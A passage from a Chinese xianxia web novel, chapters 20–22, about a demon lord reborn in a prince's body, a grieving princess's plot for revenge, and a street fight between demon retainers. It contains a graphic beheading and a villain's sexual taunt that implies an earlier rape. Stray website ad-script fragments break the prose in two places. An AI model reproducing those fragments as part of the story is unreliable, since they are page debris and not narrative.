嬷嬷不为所动,躬身行礼,看似恭敬,但她的嘴角却微微勾起,露出一个不易察觉的嘲讽笑容。她说道:“禀世子,嬷嬷并未发现任何刺客进入府邸,世子还是请回吧。” “只是一嬷嬷,竟敢阻拦本世子?可笑至极!”宿无怒不可遏,无视嬷嬷的阻拦,挥剑冲向寝居。 他一脚踹开房门,一股冷冽的寒风瞬间灌了进来,吹起屋内层层纱幔。寝居深处,香气弥漫,隐约可见一人影躺在床上。宿无无暇顾及其他,快步上前,正欲掀开纱幔。 这时,一道威严的女声响起:“大胆!” “啪!”一声脆响,一记耳光如闪电般从纱幔后伸出,狠狠地扇在宿无脸上,狰狞的掌印在他脸上停留了一会儿才又散去。 错愕地捂上被打的侧脸,宿无紧握拳头,指甲深深嵌入掌心。反手挥出一掌,想要教训这个名义上的母亲,却被宣阳王妃轻易挡住,并顺势回敬了一巴掌。 “混账!”她喊。 宿无尚未完全适应凡人躯体,被宣阳王妃打得头晕目眩,无法还手。他摇摇晃晃地后退几步,低笑一声,“额娘,好脾气啊。” 他抬起头,神情阴沉,直勾勾地盯着宣阳王妃。手中的剑在地上划出刺耳的声音,玩味道:“不知若被挑断手筋,会是怎样一番光景呢?” 宣阳王妃掀起纱幔,缓缓走出,说道:“宿无大人言笑了。你如今这躯体是我亲儿,合作之人是我丈夫。于情于理,伤我对我二人皆无益处。” “好,好,好。”宿无冷冷地吐出三个字,声音如同一块寒冰。随即,深吸一口气,压抑着怒火,眼中阴霾密布,“既然如此,儿臣便不打扰额娘休息了,这便告退。”说罢,他一本正经地俯身作揖,甩袍而去,留下一室的冷寂。 走到屋门前,宿无遇到了之前阻拦他的嬷嬷。他缓缓停下脚步,朝她一笑。笑容阴冷,如同一朵盛开的彼岸花,散发着死亡的气息。 嬷嬷看着眼前这张熟悉的脸,曾经的温润如玉如今却带着嗜血的阴冷。她心中不安,刚想有所动作,眼前便突然一片血红,视线开始摇晃,天旋地转。再次睁开眼,她只看到宫女侍卫们惊恐的表情,听到一声声尖叫,便陷入了永恒的黑暗。 随意甩了甩手中剑沾到的血,在嬷嬷躺在地上的无头尸体上擦了擦,见佩剑干净如初,宿无心满意足地离去。 宣阳王妃浑身颤抖地站在门旁,看着侍卫们收拾着嬷嬷的尸体,脸色惨白,紧紧握住门框的手几乎要将木块扣出。 20. 一入王府深似海(五) “不周山瑶光,谢过王妃救命之恩。” 瑶光缓缓从阴影中走出,月光勾勒出她单薄的身形,却无法照亮她眼底的黯然。就在刚才,一条无辜的生命因她而逝。她心中难安,愧疚道:“嬷嬷的死,瑶光深感抱歉......” “不周山?可是传说中的神祗?”宣阳王妃打断瑶光的话,随意挥手示意宫女们退下,只留二人在房中。她径直往内室走去,边走边说道:“‘世子’如此追杀你,姑娘你身份应当不凡罢。” “王妃,世子追杀我实在是另有起因。” “哦?什么原因?”宣阳王妃故意问道:“是知晓他一魔族左使以世子之躯复活呢?私制兵器锻造场呢?还是知晓他狼心豹子胆要借皇族复兴魔族呢?” “王妃......你都知道......” 瑶光转头一想,宣阳王妃虽深居闺阁,但这宅邸毕竟是宣阳王府,宣阳王是她明媒正娶的夫君,宣阳世子是她亲生骨肉,堂堂一王妃又怎会一无所知? “嬷嬷她是为你而死的。” 待走到一软榻处,宣阳王妃停下脚步,转身看向瑶光,神情深不可测,语气威严而压迫:“嬷嬷从小与本宫长大,情同姐妹,如今她死得如此凄惨。本王妃冒着风险救你一命,瑶光大人可知你欠本王妃多少人情?” 瑶光目光追随着宣阳王妃,回道:“王妃请讲,无论什么要求,瑶光都会鞠躬尽瘁。” “替本王妃杀了宣阳王及宣阳世子罢。” 宣阳王妃面容慈蔼,说出的话却无比狠毒。 瑶光大惊,一时间哑然失语。 宣阳王妃轻轻坐下,缓缓说道:“本王妃知你心中所想,宣阳王妃弑夫杀子,何等蛇蝎心肠......” “......但瑶光姑娘可知,我日日夜夜对着那俩杀子仇人,噩梦连连的日子是如何度过的呢?” 瑶光看着宣阳王妃探手往案几里探去,拿出暗柜里的首饰盒,取出一支玉簪细细抚摸。宣阳王妃看着玉簪时,眼眸如冬日暖阳,明亮而柔和,流露出作为母亲对孩儿的慈祥与关爱。 “我唯一的孩儿——裴呈元,已于一年前逝去。”说着,宣阳王妃目光幽远,似追忆着过往的苦痛,声音低沉而悲痛:“正确来说,他是魂飞魄散了......” “......元儿是我唯一的孩儿,自幼我便对他十分宠溺。他在这女人堆里长大,耳濡目染之下,渐渐对首饰宝玉倍感兴趣。我当时只觉他单纯体贴,倒也惯着他。” 像是想到什么不好的事情,宣阳王妃眼神骤然凌狠戾起来,语气中透着一股凛冽的杀意:“可是裴慎那玩意儿,野心极大,与朝廷奸臣勾搭,三番两次做些小动作,试图动摇皇位。惹得圣上大发雷霆,以封地之名将他们发配到宣阳。一路上颠簸,饥寒交迫,风沙漫天,像我们家娇生惯养的孩子又怎么受得了。” “还未到宣阳,我们便中了妖魔的圈套,大部队折损一大半,世子更是命悬一线。就在我认为世子要无力回天之际,世子第二日竟痊愈了,还比之前更是精神。我原以为是上天有眼,护我善良的儿子一命。但原来,这一切都是阴谋!在世子病重当晚,一妖女带着一个瓶子出现,声称他们可以使宣阳王回复权力,且能助他夺得皇位。” 瑶光像是感觉到了不妥,匆匆说道:“但妖魔从不做没有回报的交易。” “的确,他们要我的儿的命啊!” “元儿,你醒醒,不要有事啊!你要起来看看你给娘最新做的玉簪,娘戴上了,元儿快起来看看好不好看!” 俊俏的人儿躺在一陋室的软卧上,面色苍白,双眼紧闭,仿佛陷入了无尽的沉睡。宣阳王妃紧紧地握着他的手,泪水在眼眶中打转,声音颤抖着,充满了焦急和担忧,生怕下一秒自己的乖孩儿便被黑白无常带走了。 “你答应过娘,要永远陪着娘的,你要说话啊,元儿!” 宣阳王妃一遍遍地呼唤着裴呈元的的名字,泪水顺着脸颊滑落,滴落在他脸上。她不敢相信,几天前还意气风发的少年,如今竟然病得如此严重。她想起,不久前,裴呈元兴冲冲地拿着一支玉簪给她,说这是他亲手做的,希望她能喜欢。她当时感动得无以复加,戴上了玉簪,还夸奖他手艺精湛。 可是,现在,一切都变了。裴呈元躺在床上,一动不动,气息微弱,仿佛随时都会离开。宣阳王妃的心痛如刀绞,她无法接受这样的事实。她只想裴呈元能够醒过来,哪怕只有一次也好。 “元儿,娘求求你,醒过来吧……” 与王妃的绝望相反,宣阳王爷面无表情,冷漠地说道:“整日只想着雕刻首饰的无用小儿,不学无术,死了也罢。” 此话一出,爱子心切的宣阳王妃怒火中烧,反手便扇了宣阳王一耳光。宣阳王只觉脸上火辣辣的,顿时怒目圆睁,抓住宣阳王妃的手,朝她吼道:“王妃,你可知你在干什么?!” 宣阳王妃毫不畏惧,怒目相对,厉声说道:“该死的是你!若不是你老是给圣上找麻烦,本王妃也不会被发配到这种地方!元儿也不会被那妖怪害成这样!你还我元儿!” 看着面前疯言疯语,神志不清的王妃,宣阳王怒火中烧,却也无可奈何,只得眉头紧锁,拉开车帘朝外喊道:“愣着干什么!把你们王妃带回去她房间休息!” 嬷嬷们不敢怠慢,命侍女们小心翼翼地将披头散发的王妃从宣阳王身上扶走。 待那疯婆子离开后,宣阳王甩过衣袖,想要拍走身上的厄运似的一一扫过自己的衣摆。 突然,一只银色的蝴蝶悠然飞入,轻盈飘逸,眨眼间化作一名翩翩少女。少女容貌秀丽,可惜眼角有一骇人的伤疤,破坏了整体的美感。 “蝶隐姑娘,你终于来了!”看到少女出现,宣阳王喜出望外,压抑着内心的激动,急切地问道:“事情办得如何?” “王爷,蝶隐答应的事已办妥。”蝶隐语气平静,看向软榻上陷入沉睡的年轻男子,满意地点了点头,“现在,该到王爷信守承诺的时候了。” 宣阳王生性多疑,对这来路不明的妖魔始终保持着警惕,试探着问道:“那事成之后,蝶隐姑娘与左使大人答应我的事可还算数?” 蝶隐额间魔印闪耀,这是魔族发怒的象征,她语气微冷,说道:“王爷,你现在可是没有选择的余地。你应知道,蝶隐完全可以强夺,但为了左使大人之后更好地适应这具躯体,蝶隐才与你好好商量罢了。” 宣阳王脸色微变,权衡利弊后,终究还是选择了妥协。他深吸一口气,说道:“好。本王这便将世子之躯赠与左使,以表诚意。望左使觉醒后不要忘记本王,助本王夺回皇位,让那将本王流放于此的皇兄好好看看他到底惹了什么人。” 看着宣阳王近乎癫狂的模样,蝶隐心中毫无波澜,她对人间的恩怨欲望毫无兴趣。抚摸着眼角处狰狞的伤疤,她望向玉壶,心中只有玉壶中的他。 寂海一战,宿无受万物生殃及,魔身尽毁。蝶隐在寂海游走百年,终于找到了宿无的魔髓,用琼浆玉露壶供养着。 神有神髓,魔亦有魔髓。蝶隐翻阅无数上古书籍,终于找到复活之法:寻找一副适合的躯体,让神髓或魔髓在其体内慢慢代替宿主,占据他的思想,从而重生。神髓天生圣洁,寄生于凡人体内,对凡人有利无一害,可助其成仙。但魔髓则相反,对重生的躯体极其讲究,要撑得住魔髓长期的寄生,以及承受魔髓成功重生那一刻的脱胎换骨、洗涤灵魂、入魔之痛。 蝶隐寻寻觅觅,终是找到了最适合宿无重生的躯体,那便是带有人类皇族血脉的宣阳世子。无论是外型,还有体质,都异常适合宿无重生。 只见她缓缓走近裴呈元,坐于一旁,将手中的玉壶小心地对准他的唇边。琼浆玉露如同拥有生命一般,流入裴呈元口中,其中一颗散发着幽暗光芒的虫状物也顺着液体一同进入他体内。 昏迷中的裴呈元,感觉身体冰凉刺骨,仿佛被一层薄霜覆盖,呼出的气息也带着寒气。但片刻之后,他便恢复了正常,脸色甚至比平常更加红润有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 光泽,整个人仿佛都重新活过来了一样。 宣阳王看着眼前奇景,惊诧地问道:“那现在,左使大人可是已经占据了吾儿的身体?” 蝶隐摇摇头,说道:“非也。毕竟是少年的躯体,魔髓对其的适应少则数月,多则数年。咱们只需耐心等待即可。” 想到长则要等数年才能夺取皇位,宣阳王眉头紧皱,问道:“那......” 蝶隐活了数百年,怎会不知宣阳王贪婪的心思,她立刻打断道:“就算左使大人还未重生,还有左使的魔族部下在。只要蝶隐一声令下,数千名魔众便会听从王爷的号令,王爷还有什么可担忧的呢?” “这段时间,王爷还是先着手准备登基大典吧。”蝶隐说完,意味深长地看了宣阳王一眼,转身化为之前那只银蝶,悄然飞走。 现在的她需要为左使去召集他部下的魔众,为左使恢复意识后的大业做准备。 贰日,宣阳王妃一清早就被嬷嬷叫醒,说世子苏醒了,还脸色红润,食欲大增,看起来像是完全病愈了。 宣阳王妃听言喜出望外,来不及梳洗便朝着世子屋里匆匆赶去。一进屋,她便看到昨日还病入膏肓的世子在吃早膳,吃得津津有味,不亦乐乎。 “额娘!” 看到亲爱的儿子死而复生,精神气爽,宣阳王妃瞬间湿了眼眶,快步上前,慈爱地摸了摸他的脸庞,生怕她见到的不是活人。 “元儿!你活过来了!” 感受着手中的温度,宣阳王妃激动地抱住眼前之人,颤抖道:“额娘好想念你啊,元儿。” 世子看着面前宣阳王妃关切的神情以及她眼角的泪珠,心中感触万分,愧疚道:“对不起,额娘,是孩儿让你担忧了。” 宣阳王妃松开怀抱,侧过头悄悄抹过泪珠,“是额娘没有保护好你,是额娘的错。” “额娘......”见宣阳王妃慈爱的模样,世子不禁哽咽。 “别说了,元儿你快吃点儿,你都晕了好几天了!”说着,宣阳王妃便拿起筷子帮世子张罗着餐食。一不小心,宽长的衣袖拂倒了世子面前的一碗汤,汤水径直地洒在世子手上。 “啊,额娘不是故意的,元儿!”宣阳王妃看着世子手上的红肿,心疼得直滴血,“额娘给你擦擦。”她慌忙地从怀中取出帕子轻轻擦拭,担心肿消不去,还立刻唤来嬷嬷,让她去取些雪脂膏过来。 世子不想让王妃担心,温润地安抚道:“额娘,只是烫伤,无需如此大阵仗。” “都怪额娘,元儿你自出娘胎便是疤痕体质,稍微一些划伤烫伤都会容易留疤。这水泡这么一大片,定会留下丑陋的疤痕。” 好不容易等到嬷嬷取来雪脂膏,宣阳王妃正打算取出一大块往世子手上一抹,却发现世子原本布满水泡、红肿不堪的手,竟已恢复如初。 宣阳王妃惊愕地看着面前的世子,熟悉却又陌生。 一出屋,她便迫不及待地问起在门旁守候的女侍:“你可知今日世子早膳吃了些什么?” 女侍俯身回道:“回王妃,今早世子吃的白糕与汤羹。” “只是寻常白糕与汤羹?”宣阳王妃想起在屋里闻到的那一股膻味,心中疑窦丛生。 “回王妃,炊事是用侍卫抓的山羊肉做的补身汤羹。” 身旁的嬷嬷一听,脸色大变。 王妃一族自上上上辈流传下来,便对山羊肉一类过敏,轻则起红疹,重则呼吸困难。因在长安一带鲜少有羊作吃食,王妃远嫁到长安也无明示过此事,知道王妃对羊过敏的只有随她陪嫁的嬷嬷。 但身为同一脉的世子又怎会对羊肉毫无反应?!再加上那自愈的烫伤...... 宣阳王妃突觉头晕目眩,浑身乏力,几乎昏厥过去。 “王妃!”嬷嬷眼疾手快地将其扶住。 靠在嬷嬷身上,平日里就算是被‘流放’也风光靓丽的王妃像是瞬间苍老了数十岁,她虚弱无力地哽咽道:“嬷嬷......元儿没了......” 21. 神渡苍生不渡人(一) 皓月当空,宣阳城内莲馆所在的花街处,华灯初上,夜色阑珊。彩旗飘扬间,觥筹交错的人影映在酒肆花窗上,烟雾缭绕,处处弥漫着浓浓的烟火气息。 与喧闹繁华的花街截然不同,另一边的城墙上,却是不一般的肃静。 无数个黑影在夜色中飞檐走壁,为首的俩人正是受命去抓拿控制鸦群之人的蝶隐与秦威。一路上,他们带领着一众魔兵魔将沿着鸦群来往的方向追赶,已追离王府数里,却始终无法赶上对方。 就在鸦群四处飞散,逐渐消失于黑夜,他们即将无功而返之时,突然一道白影从高楼处飞跃而下。那素白修长的身影在夜色中格外刺眼,衣袂飘然,如流星划过夜空。 “追!” 看着那渐行渐远的可疑白影,蝶隐不假思索地指挥着众人追赶。然而,一旁的秦威却心生异念。只见他渐渐落在后方,趁蝶隐不注意时,一个翻身隐入了小巷处的阴影中。 飞檐走壁间,蝶隐轻飘飘地瞥了一眼秦威消失的地方,她聪慧过人,又怎会不知秦威的小心思。她的眼中思绪万千,权衡利弊之下,还是转过头继续带着魔兵魔将们追赶那白影。 片刻后,不远处的阴影里走出一个黑衣少年。他短发尾端的两根长辫随风飘扬,充满了来自异域的俊美。 他轻声说:“走吧,阿稚。按师傅指示,我们以鸦群为眼视察王府情况,引开追兵即可。” 随着季伶的话语一出,青稚从阴影处走出,看起来怏怏不乐,一言不发。 见青稚心事重重,季伶只道是他担心自己的伤势,忧心过虑。于是,他温柔地说:“其实你不必跟来,我的伤快好了。别担心。” “谁,谁担心你了。” 青稚霎时面红耳赤,下意识磕磕绊绊地辩解道:“我只是怕你伤没好,给我师傅帮倒忙。” 季伶摇摇头笑了笑,没有戳破他。 两人谈笑间,窸窸窣窣的声音响起,一个人影从面前的小巷侧走出。那人高大壮硕,势如猛虎,凶相毕露。 季伶与青稚看清来人后,脸色顿时变得紧张,缓缓停下脚步。 “哟,我还道是谁呢。”秦威站在路中间,秦威站在路中间,双手来回摩搓指间关节,发出清脆的声响。他看着眼前的两人,嚣张地说道:“这不是咱们季伶大人和那老是需要母亲保护的臭小子吗?” 秦威一开始见到鸦群,便知道可能是季伶在捣鬼。与季伶共事数年,他怎会不了解季伶的那些小伎俩?为了独享这份功劳,他故意偷偷离开,选择避开蝶隐独自去找寻。 仇人见面分外眼红,滔天恨意铺天盖地而来。青稚体内像是有一团炙热的火焰在他的血液里燃烧,在他的胸膛里翻捣着,叫嚣着。 “秦威!拿命来!”青稚怒吼一声,从腰间取出皎月刀,正欲上前将秦威千刀万剐,却被眼疾手快的季伶按下 青稚不解地看向季伶,却见季伶朝他摇摇头,小声说道:“你待会趁机走,让我来对付他。” 离得稍远的秦威听不清他们在说什么,目光瞥向季伶放在青稚肩上的那只手,眼神饶有玩味,“哟,怎么地,你们一伙了?” 秦威的话在青稚听来尤其刺耳,他余光瞄了一眼身旁一言不发的季伶,止喝道:“不关你的事!” 青稚那着急的小模样像极了是在欲盖弥彰,秦威嗤笑一声,“小子,你以前不是恨极了这个叛徒的吗?怎么,你现在跟他同声同气,你还对得住你死去的父老乡亲吗?” “噢对,不是还有一个小姑娘吗?叫什么......”说着,他刻意停顿了一下,语气中略带些恶趣味,又说道:“叫......沅儿......好像。” 听此,季伶沉下脸来,看向秦威的目光眼神凌厉,冷声警告道:“秦威,住嘴!” 秦威对季伶的话充耳不闻,继续说道:“她好像断气之前还一直叫着......阿稚救救她之类的话。噢,该不会是在叫臭小子你罢?” 季伶能感觉到身边的青稚整个人都在不停地颤抖,不由得握紧拳头,生怕秦威越说越多,将沅儿死亡的真相说出。 过去的记忆涌上心头,沅儿临死前的惨状在他脑海中重新浮现。季伶心中五味杂陈,眼底爬上了一层痛苦,如鲠在喉,嘶声道:“秦威,你找死。” 动身前,季伶轻轻推了一下青稚,眼神示意他快走,便转身攻向秦威。 他身形羸弱,却如飞鸟般轻盈敏捷,全力以赴的模样似乎是要让秦威将那口无遮拦的嘴永远闭上。他掌风犀利,疾如闪电,令人心胆俱寒,逼得秦威只得双拳全力迎上。 秦威早前与瑶光司幕二人有过一战,体术已开始乏力,步伐身法渐渐缓慢起来,一时之间竟与季伶打得不分上下。 突然,秦威早前被司幕疗愈好的内伤又隐隐作痛,不由得动作停钝下来数秒。察觉到了秦威的不妥,季伶看准机会,趁机召回鸦群,指挥它们纷纷攻击秦威。 秦威看着迎面而来的无数只乌鸦如利刃般高速飞向他,自知若被这鸦群击中必将千苍百孔,体无完肤。 双拳难敌数十只乌鸦,秦威分身不暇,连忙躲闪。但鸦群却像是不死不罢休一样死追着秦威,秦威闪进左躲右闪间,秦威余光看到不远处眼神呆滞的青稚,脑中灵光一闪。 只见他一拳击中街旁的灯笼杆,折断的高杆将部分鸦群压散,砸向季伶。 季伶反应极快,一个漂亮转身轻松躲过断杆。但待他再看过去时,秦威却已闪身来到青稚面前,手呈虎爪状扼住青稚的颈喉。他将青稚挡在身前,目光炯炯地盯着季伶,“别动,这臭小子在我手上。” 闻言,季伶心惊肉颤,因为按照他的施法,鸦群本要继续追逐秦威,将会不可避免地撞向他面前的青稚。 千钧一发之际,季伶神色凝重,连忙强行取消施法。与此同时,一股蚀骨剧痛从他体内袭来,他的脸色瞬间煞白,额间冷汗密布,嘴角更是缓缓流淌下鲜红的血丝。 季伶用衣袖粗略擦过嘴角的血丝,咬紧着牙关,尽量不让自己发出呻吟声。 操纵法术都是无法轻易取消的,一旦法术被强行取消,施法者便会被其力量反噬,施法者的力量越强,反噬所作的痛楚则加倍。 但比起妖力反噬的痛,季伶更担心青稚的处境。他看着因窒息面容渐渐扭曲的青稚,眼中尽是掩饰不住的担忧,秦威扼住青稚颈喉的手就像是扼住他一样,揪得他无法呼吸。 鸦群散去后,秦威见季伶被他自己的妖力反噬,气息变得逐渐虚弱,便开始洋洋得意起来。他忽觉手中肌肤细嫩。自从来了宣阳城后,秦威还为未开过荤,一时血气上头,他抓起青稚的脸颊,邪笑道:“其实你这臭小子也挺俊的,不知道你和你那沅儿妹妹,谁的滋味更佳呢?” 周围一片寂静,季伶停止了呼吸,猛地看向青稚。 糟! 只见青稚瞳孔紧缩,握住皎月刀的手不停颤抖,嘴角更是有血丝渗出。 青稚他想起他最后见到沅儿妹妹尸体时,那伤痕累累裸露在毯外的手臂和那残破不堪的衣衫的一角,泪水瞬间湿润了眼眶。 原来沅儿妹妹不是被季伶虐打致死......原来......原来...... 回过神来的青稚,怒火中烧,一字一句,咬牙切齿地怒吼道:“秦威!我要杀了你!!!!!” 话音未落,他手中的皎月刀在黑夜中划出一道凌厉的银光。 刀光刺得秦威眼目生疼,他万万没想到当初那个需要母亲保护的臭小子竟然能有能力伤到他。仓促之间,毫无防备的秦威躲过了几乎要划过他喉咙的刀锋,但脸上仍是被结结实实地挨了一刀。剧烈的疼痛令他左眼视线被血雾模糊,鲜血从左眼角一直流到嘴角,他连连后退,狼狈不堪。 青稚不给秦威喘息的机会,如疯马般冲上前,又是一刀劈向秦威。 季伶惊呼:“青稚!别冲动!” 凡人终究无法与妖相比,即使视线受阻,秦威也能凭借右眼和动物的直觉躲过那一刀。怒火中烧的秦威反手一拳重重地锤向青稚握刀的手,转身又一脚踢向他的肋间。 “啊!!!” 痛呼声划破夜空,皎月刀掉落在地,发出清脆的声响。 伴随着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一声沉闷的撞击,青稚几乎听到了自己右臂骨骼碎裂的声音。他虽然躲闪及时,肋间无碍,但右手臂骨却被秦威径直击中,尽数断裂。原本来势汹汹的他痛倒在地,用力地捂住右臂蜷缩成团,痛不欲生。 季伶撕心裂肺地喊道:“青稚!!!” 心狠手辣的秦威欲想再蓄力一拳轰向毫无反抗之力的青稚,将他赶尽杀绝,怎知还未击出便被季伶当胸一脚,狠狠踢得倒飞出去。 被击退的秦威单膝跪地,他抬头看着季伶,眼神狠戾,“季伶,一开始六重紫大人带你回来的时候,我就知道你养不熟。” “你虽为妖,身上却沾染上了仙气,妖不像妖。加上叛族之罪,你简直就是妖族的耻辱!现在我就要为妖族清理门户!”说罢,秦威一脚蹬地,腾空而起,飞跃在空中朝季伶重拳出击。 季伶平稳住气息,以掌相挡,缓缓回道:“当初六重紫用幻象之术欺骗我带你们至万象林开阵门,残害乡里,祸害三生城,并非我所愿。我乃三生城人,怎会与你们这些恶徒同流合污!要被清理的人是你们这些害虫!” 他一手聚齐妖力于掌心与秦威的虎拳抗衡,护住身后的青稚,一手在空中比划,欲重组鸦群趁,秦威无法分神之际攻击秦威的命门。 可就在鸦群从秦威身后攻击时,秦威像是早有预料一般用另一只手挡住鸦群。秦威不屑道:“我说过,你的小伎俩我都知道。” 说罢,秦威又猛地一压,强大的威压令季伶脚下的地板寸寸龟裂。 口中的血腥味越来越重,季伶紧皱着眉,脖间青筋暴起,使尽全力,丝毫不敢松懈。 他必须硬撑下去,他还要为沅儿妹妹报仇,他身后还有人需要他保护。 被痛楚折磨的青稚趴在地上,看着季伶因他受伤陷入恶战,心里愧疚万分,想要助他一臂之力。他定睛看向不远处的皎月刀,口中喃喃自语,用仅能活动的左手艰难地画着圈。 “凝神聚气......气聚丹田......运气自如......御物随性......” 说罢,青稚全神贯注,手指皎月刀朝秦威所在的位置挥去。但过了许久,那皎月刀仍孤零零地躺在地上一动不动。 青稚咳了几声,咬紧牙关,又断断续续道:“御......物随......性......” 皎月刀依旧纹丝不动。 “御......” 青稚气恼地捶了一下地想作最后尝试,可却拉扯到了伤口,口中噗地喷出鲜血,眼前一黑,昏厥了过去。 昏厥前,他看到那把皎月刀依然待在那原处不动,以及一只银蝶缓缓在刀上飞过,翩然起舞,朝自顾不暇的季伶慢慢靠近。 不一会儿,银蝶瞬间化作为银雾,一只玉手从中冒出,以迅雷不及掩耳之势击向季伶。 正与秦威缠斗的季伶双手均在斗法,无法回防,对这突如其来的袭击束手无策。 突然,一柄玉箫从远处飞驰而来,掠过季伶,砰地击中暗袭季伶的那只手,躲躲藏藏的蝶隐被迫从银雾中现身,倒退数步。 那玉箫似有灵性一般,转弯又从秦威侧边朝他飞去。 自知来者不善的秦威本就对玉箫多有留意,见玉箫离他愈来愈近,便两手一推,将季伶震开,身手迅捷地提前躲过玉箫,站至蝶隐身旁。 一道白影闪过,姗姗来迟的季昀之一手扶住站不稳的季伶,一手接过玉箫,衣袂翻飞,身姿英挺。 他淡淡说道:“在我徒弟背后偷袭,姑娘多少有些不讲道义。” 身为妖魔,何谈道义?蝶隐不予回答 方才玉箫击中她之时,她便已察觉到对方修为远胜于己。此刻,看着身旁狼狈不堪的秦威,她捂着受伤的右手,显然已无心恋战。只见她轻轻一挥手,霎时间,密密麻麻的蝴蝶群将她二人团团围住。待蝴蝶散去,二人早已无影无踪。 见危险解除,心惊胆战过后的季伶深深地松了一口气,心有余悸地朝季昀之点了点头,便转过身想去查看青稚的伤势。 可下一秒,他的脸色却骤然变白。 青稚不见了! 22. 神渡苍生不渡人(二) 三更的钟声敲响,宣阳王府今夜与往常不同,戒备森严,几乎每条过道都站着侍卫把守,连苍蝇都飞不进去。守卫后门的侍卫,一阵困意袭来,眼皮沉重,哈欠连天,引得一旁的侍卫们也纷纷哈欠起来。 实在忍无可忍,一旁的侍卫推了推始作俑者,说道:“别打哈欠了,本来就困死了,你这样更困。” 始作俑者措不及防,被推得踉跄了好几步才站稳。他埋怨道:“本来我今天这个时候,应该在梦乡里左拥右抱,却被叫来值班,你以为我想啊!” 推人的侍卫这会儿也不好意思了,靠着墙叹气道:“要是有刺客,也不会来偏门吧?要也是在后门逃走,咱们还不如直接回去睡得了。” “都给我正经点!这是世子亲自下达的命令,你们谁敢违抗?!”前来视察的暗卫招四,见到他们如此松散,脸色一沉,厉声警告。 侍卫们自然不敢违抗,但心中仍然十分烦闷,忍不住低声咕哝道:“什么刺客这么严重?世子身边有那些魔物保护,谁敢近他的身?我们不过是摆设罢了,暗卫还不是被唤来监视我们?” 招四将他们的嘀咕声听得一清二楚,狠狠地瞪了说话的人一眼,随即像个门神似的站在偏门中间,一动不动。 车轮声缓缓从远处响起,本来困极了的侍卫们顿时睡意全无。只见穿着一身侍女服的少女推着一个大木桶朝侧门走来。随着木桶的靠近,侍卫们闻到一股越来越浓烈的异味,一时之间整个偏门臭气熏天,让他们恨不得立刻失去嗅觉。 待看清来人后,刚刚还在一直打哈欠的侍卫立马嬉皮笑脸地凑上前去,说道:“绿梨姐姐,真是大驾光临啊,怎么今日往这边走了?”结果一走近,他就被那如隔夜馊水般的味道熏得忍不住捂住口鼻,惊呼道:“呕,这味道这么重是什么鬼东西?!” 绿梨不慌不忙地说道:“夜香。” “夜香?!”侍卫嫌弃地连连后退数步,但转念一想,又连忙抢过绿梨手中的推车,笑嘻嘻地说道:“哎呀,绿梨姐姐怎么亲自来送夜香了?这种粗活,我来我来,让我来。” 绿梨也不推辞,让了个位置,自己去前面推,淡淡地回道:“王妃那边出了些状况,其他侍女小厮都被派去照看,今夜只剩我,便由我来送了。” 推着推着,侍卫感觉木桶有些轻,心生疑惑:“绿梨姐姐,这里面真的只有夜香吗?” 绿梨反问:“不然呢?我还能藏了个人不成?” “这......” 侍卫语塞,左右为难。绿梨又是目前唯一能自由进出世子院里的侍女,是世子的眼前红人,侍卫不敢得罪。可有招四在一旁看着,他又不能就这么轻易放行。 “我不是这个意思,绿梨姐姐。只是今夜情况特殊,要是咱不好好检查把人放走了,那咱们可是都要掉脑袋的。” “行,那你们检查呗。” 绿梨放开了手,推车因失去平衡颠簸了几下,不少污迹溢出,惹得周围的人都避之不及。 她见状,直勾勾地看着招四,嗤笑道:“那你们是要打开看看捞捞,还是要刺几刀看看里面有没有人呢?先不说你们能不能找到,但你们的刀怕是一定不能要了。” 招四与绿梨也算是半个老熟人了,毕竟都是在世子身边侍候多年的人,更何况他喜欢绿梨,也不想与她闹得不欢快。 犹豫了许久,招四还是朝门旁的侍卫们示意,“你们去。” 碍于暗卫的威压之下,侍卫们你推我让地慢慢上前,始终迟迟不敢动手。最后,还是一侍卫被推了出来,硬着头皮去将木桶掀开。 异味铺天盖地而来,即使招四站得远远的,也闻到了那股酸臭味。他不禁皱紧眉头,沉声道:“关上吧。”那侍卫如释重负般猛地关上桶盖,退了回去。 绿梨幽幽地问:“那你们还要拿刀刺吗?” 众侍卫面面相觑,皆摆起了手看向招四。招四想了想,正好可以借此机会给绿梨一个台阶下,不用得罪她,于是正色道:“罢了,我相信你,我帮你送到门口,你在门口等那夜香佬来收吧。” “不用了,我自己推罢,你贵人事忙,在这好好看着别让人跑了。” 绿梨冷声拒绝,慢悠悠地独自将车推至后门外的邻巷。 环顾四周,确认附近无人,偏门的侍卫也无法看到她后,绿梨悄悄将木桶某处抠下,竟抠出一个容纳一人进出的洞口。原来,木桶仅有表面部分盛放着夜香,剩余空间是一个可以藏匿一人的暗格,怪不得刚刚那侍卫说轻了。 在绿梨的指引下,一位窈窕少女从桶内爬出。她的动作十分缓慢,似乎有内伤在身。月光下,少女芙蓉般的面孔显得格外靓丽,但她的发髻凌乱,衣裙被鲜血染红,显得狼狈至极。 她,正是被宿无追杀的瑶光。 站稳后,瑶光俯身作揖,向绿梨小声说道:“瑶光在此谢过绿梨姐姐和宣阳王妃的恩情。若王妃有事找瑶光,传信到东郊城隍庙即可,瑶光定有求必应。” 绿梨喃喃自语:“城隍庙......难怪。” 不知为何司幕的治疗术无法疗愈瑶光身上的毒,现在她的身体愈发愈麻痹无力,早已筋疲力尽。由于担心司幕他们的安危,她匆匆向绿梨道别,便离开去寻人。 见瑶光准备起身,绿梨连忙轻声追问:“你将红榴怎么样了?” 瑶光步伐虚浮,每一步都似是要使尽全力。她头也不回地说道:“红榴姑娘自当无碍,她只是怕被训斥,让我替她走一趟罢了。” 听此,绿梨松了一口气。 一路上,瑶光拖着疲惫的步伐,踉跄前行,呼吸急促,汗流浃背。王府附近阴暗的街道上,破败的房屋在火光下摇曳,气氛紧张压抑。她小心翼翼地贴着墙,算着时机避开巡逻的魔兵。然而,天不遂人愿,她还是碰到了两只魔兵,并走到了一个死胡同。 魔兵的声音越来越近。瑶光因余毒未清,精力不足以支撑她施展移身咒离开。就在她烦恼之际,她看到了角落里的一堆竹筐。躲进竹筐里,透过缝隙,她什么都看不到,视野模糊不清,完全不知道魔兵的方位。她只能听到它们为了找到她在胡同里来回走动。 绝望之下,她靠在竹筐壁,双手立于胸前,用仅剩的精力将法力蓄起,聚精凝神,为保命之用。 谁能想到,一个拥有数百年神修的神灵,竟然会被逼至如此绝境。 